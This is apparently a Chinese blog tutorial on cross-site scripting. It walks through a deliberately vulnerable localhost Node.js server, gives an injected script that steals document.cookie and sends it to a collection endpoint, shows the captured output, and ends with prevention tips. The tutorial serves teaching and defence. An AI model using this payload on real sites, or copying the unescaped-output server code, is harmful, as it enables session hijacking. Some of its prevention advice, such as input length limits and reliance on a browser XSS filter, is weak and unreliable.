目录：
1. XSS 攻击原理——脚本注入，如何注入？
2. XSS 攻击实战 —— node 模拟服务端提供网站
3. XSS 如何预防
1. 原理
常见攻击场景：在论坛或博客的下方经常会有留言功能，输入内容：测试数据，留言内容会被一个 h 标签包裹，F12 控制台会打印：
现在在下方留言 测试数据</h><script>alert('xss test')</script><h> ，F12 控制台可以看到我们自己写的脚本通过简单伪装就被植入到该网站，关键是直接看页面压根看不出啥变化。
这里的脚本比较简单，如果对脚本稍加修改，比如自执行函数，页面打开时自动运行；让脚本会获取 浏览器保存的用户登录密码，再通过一些手段发送给攻击者，那么攻击者就成功盗取用户账号。
举个栗子：假设简书上上某一篇文章下方评论里被攻击者注入了攻击脚本，其它用户只要打开这篇文章，攻击脚本自动执行，将打开该文章的用户身份信息发送给攻击者。那么攻击者就可以使用当前登录用户的简书账号密码去做坏事了.......
2. 实战
使用 node 作为服务器提供论坛下方评论功能，模拟 XSS 攻击过程。
假设你计算机安装了 node 环境，拷贝下方内容，保存为 index.js。node index.js 运行服务，在浏览器输入 localhost:3000/ 回车。
// index.js
const http = require('http');
const fs = require('fs');
const url = require('url');
const server = http.createServer(function (req, res) {
if (req.url === '/favicon.ico') {
return;
}
const parseUrl = url.parse(req.url, true);
console.log('>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>')
console.log(parseUrl)
// 路由1 /uploadForm 提交表单处理方法，在页面显示刚才表单内填写的内容
// 路由2 /xssattack xss 攻击接收浏览器发来的 cookie 接口
// 路由3 / 返回一个表单
if (parseUrl.pathname === '/uploadForm') {
res.writeHead(200, {'content-Type':'text/html;charset=UTF-8'})
const username = parseUrl.query.username;
res.write(`<h>${username}</h>`);
res.end();
} else if (parseUrl.pathname === '/xssattack') {
res.writeHead(200, {'content-Type':'text/html;charset=UTF-8'})
const pw = parseUrl.query.pw;
res.write(`i received message：${pw}`)
res.end();
} else {
res.writeHead(200, {'content-Type':'text/html;charset=UTF-8', 'Set-Cookie': 'myCookie=test'})
res.write(`
<form method="get" action="/uploadForm">
<input type="text" style="width: 600px;" placeholder="输入用户名" name="username">
<button type="submit">提交</button>
</form>
`)
res.end();
}
});
server.listen(3000, function () {
console.log('server is starting on port 3000');
});
该服务提供了三个接口。
-
localhost:3000/node 服务器返回一个表单页面； -
localhost:3000/uploadForm表单提交按钮处理方法，将表单文本框中内容打印到页面上； -
localhost:3000/xssattack攻击脚本获取到当前登录用户的身份信息，如账号密码，或者 cookie 等，发送到攻击者自己的服务器上。
这里提供一份攻击脚本，作用是获取当前登录用户的 cookie，然后发送给攻击者自己服务器上某个接口。直接复制内容到表单文本框中。
测试数据</h><script>(function () {var str = document.cookie;var a =document.createElement('a');a.setAttribute('id', 'xxlkjxljklxjklfasdf');a.href='http://localhost:3000/xssattack?cookie='+str;document.body.appendChild(a);document.getElementById('xxlkjxljklxjklfasdf').click();})()</script><h>
攻击脚本源码（仅供参考，为什么获取 cookie 不直接获取账号密码，以及使用 a 标签跳转的方式在浏览器地址栏会暴露等等问题，这里都不做解释，这里仅是模拟 XSS 攻击的过程）：
// 攻击脚本自执行函数：获取 cookie，发送给攻击者服务器 localhost:3000/xssattack
<script>
(function () {
var str = document.cookie;
var a =document.createElement('a');
a.setAttribute('id', 'xxlkjxljklxjklfasdf')
a.href='http://localhost:3000/xssattack?cookie='+str
document.body.appendChild(a);
document.getElementById('xxlkjxljklxjklfasdf').click()
})()
</script>
在表单中输入包含注入脚本的伪装评论：
点击提交，在终端可以看到下方打印消息。
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Url {
protocol: null,
slashes: null,
auth: null,
host: null,
port: null,
hostname: null,
hash: null,
search: '?cookie=myCookie=test',
query: { cookie: 'myCookie=test' },
pathname: '/xssattack',
path: '/xssattack?cookie=myCookie=test',
href: '/xssattack?cookie=myCookie=test' }
验证浏览器中 cookie 是否正确：
到此，攻击者就获取到登录用户的 Cookie，用了 cookie 就可以冒充当前登录用户去做些坏事了。当然这里获取账号密码更直接，在发送的使用邮件或其他方式都可以，保证隐蔽性。
3. 预防
XSS 攻击如此神出鬼没，关键是在页面上看不出任何差异，如何防范它呢？
- 对于普通用户
普通用户没有编程基础，不太能识别 XSS 攻击，建议使用谷歌浏览器，谷歌浏览器自带检测网站 XSS 攻击功能，如果谷歌浏览器检测到您当前访问的页面存在 XSS 攻击，不会运行注入脚本，会报错提示：
我在火狐浏览器也做了下测试，发现火狐并不会检测 XSS 攻击脚本。（这里不是黑火狐，目前火狐主打的是访问速度，对安全这块可能并没有太多关注）
-
对于网站站长
虽然 XSS 攻击并不会直接对网站造成影响，但是它总是盗取登录该网站用户的账号密码，搞不好哪天你的用户烦心了，不用这个网站了，网站丢失用户量是件很可怕的事。- 预防一：对于评论、文章内容等做转码操作
将评论、文章等取数据内容做转码，将
<转码为<，>转码为>，此时在浏览器中就可以看到注入脚本无处可藏，显露原型了。这也是目前使用比较广泛的一种，楼主测试了一下码云是否有 XSS 漏洞，发现它就是这种预防措施的。对评论内容做 html 转码- 预防二：对表单内容做长度校验
有些前端开发人员不注意安全，表单内文本框或文本域都不做长度校验，这就存在 XSS 攻击风险。上面也提到注入脚本一般长度很长，聪明一些的攻击者会将注入脚本进行压缩缩短长度。如果你的文本框长度只允许输入 10 个字符，嫩它注入脚本再厉害也是无计可施的。
